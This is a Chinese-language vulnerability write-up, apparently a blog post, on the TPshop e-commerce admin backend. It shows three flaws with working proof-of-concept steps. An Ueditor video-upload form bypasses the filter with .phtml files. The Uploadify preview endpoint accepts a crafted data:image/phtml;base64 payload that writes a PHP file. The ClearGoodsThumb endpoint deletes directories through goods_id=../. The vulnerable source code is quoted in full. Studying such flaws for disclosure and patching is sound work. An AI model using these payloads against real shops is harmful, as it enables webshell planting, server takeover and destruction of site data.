在CNVD上看到了TPshop开源商城商家管理后台Ueditor页面存在文件上传漏洞。想着挖挖
第一处文件上传
知道是后台的Ueditor页面问题。直接源码去文件看了
在application/admin/controller/Ueditor.php
中
发现uploadimage和uploadscrawl都是有白名单后缀名限制
继续看uploadvideo分支
发现只对后缀名不能为php。那可以通过phtml绕过
本地构造表单
<!DOCTYPE html>
<html>
<body>
<form action="http://127.0.0.1/Admin/Ueditor/index?action=uploadvideo" method="POST" enctype="multipart/form-data" >
<input type="file" name="file" />
<input type="submit" value="submit" />
</form>
</body>
</html>
直接传phtml就行
上传后会返回文件名
第二处文件上传:
漏洞点位于application/admin/controller/Uploadify.php
public function preview(){
// 此页面用来协助 IE6/7 预览图片,因为 IE 6/7 不支持 base64
$DIR = 'preview';
// Create target dir
if (!file_exists($DIR)) {
@mkdir($DIR);
}
$cleanupTargetDir = true; // Remove old files
$maxFileAge = 5 * 3600; // Temp file age in seconds
if ($cleanupTargetDir) {
if (!is_dir($DIR) || !$dir = opendir($DIR)) {
die('{"jsonrpc" : "2.0", "error" : {"code": 100, "message": "Failed to open temp directory."}, "id" : "id"}');
}
while (($file = readdir($dir)) !== false) {
$tmpfilePath = $DIR . DIRECTORY_SEPARATOR . $file;
// Remove temp file if it is older than the max age and is not the current file
if (@filemtime($tmpfilePath) < time() - $maxFileAge) {
@unlink($tmpfilePath);
}
}
closedir($dir);
}
$src = file_get_contents('php://input');
if (preg_match("#^data:image/(\w+);base64,(.*)$#", $src, $matches)) {
$previewUrl = sprintf(
"%s://%s%s",
isset($_SERVER['HTTPS']) && $_SERVER['HTTPS'] != 'off' ? 'https' : 'http',
$_SERVER['HTTP_HOST'],$_SERVER['REQUEST_URI']
);
$previewUrl = str_replace("preview.php", "", $previewUrl);
$base64 = $matches[2];
$type = $matches[1];
if ($type === 'jpeg') {
$type = 'jpg';
}
$filename = md5($base64).".$type";
$filePath = $DIR.DIRECTORY_SEPARATOR.$filename;
if (file_exists($filePath)) {
die('{"jsonrpc" : "2.0", "result" : "'.$previewUrl.'preview/'.$filename.'", "id" : "id"}');
} else {
$data = base64_decode($base64);
$filePathLower = strtolower($filePath);
if (strstr($filePathLower, '../') || strstr($filePathLower, '..\\') || strstr($filePathLower, '.php')) {
die('{"jsonrpc" : "2.0", "error" : {"code": 100, "message": "文件上传格式错误 error !"}}');
}
// 文件格式判断
strstr(strtolower($filePath),'.php') && exit('文件格式不对');
var_dump($filePath);
file_put_contents($filePath, $data);
die('{"jsonrpc" : "2.0", "result" : "'.$previewUrl.'preview/'.$filename.'", "id" : "id"}');
}
} else {
die('{"jsonrpc" : "2.0", "error" : {"code": 100, "message": "un recoginized source"}}');
}
}
其实。看到这一行代码。漏洞点就很清楚了。。当时啥CMS来着。也有个差不多的洞。
preg_match("#^data:image/(\w+);base64,(.*)$#", $src, $matches)
接受php://input的值。然后用正则。把base64的数据写入。文件名后缀为正则匹配出来的
例如data:image/phtml;base64,PD9waHAgcGhwaW5mbygpOyAgPz4=
他就会把phtml当作后缀名。然后和php比较。把PD9xxxx base64解密后写入文件。
文件会在http://127.0.0.1/preview/ebe6788fbafe3c360fd2185e4ee53ac3.phtml
任意文件删除
漏洞点位于application/function.php的delFile方法
传入$path。然后直接递归删除path下的所有文件
在application/admin/controller/System.php的ClearGoodsThumb方法
调用了这个函数。并且把goods_id的值直接传入
直接http://127.0.0.1/index.php/Admin/System/ClearGoodsThumb?goods_id=../
即可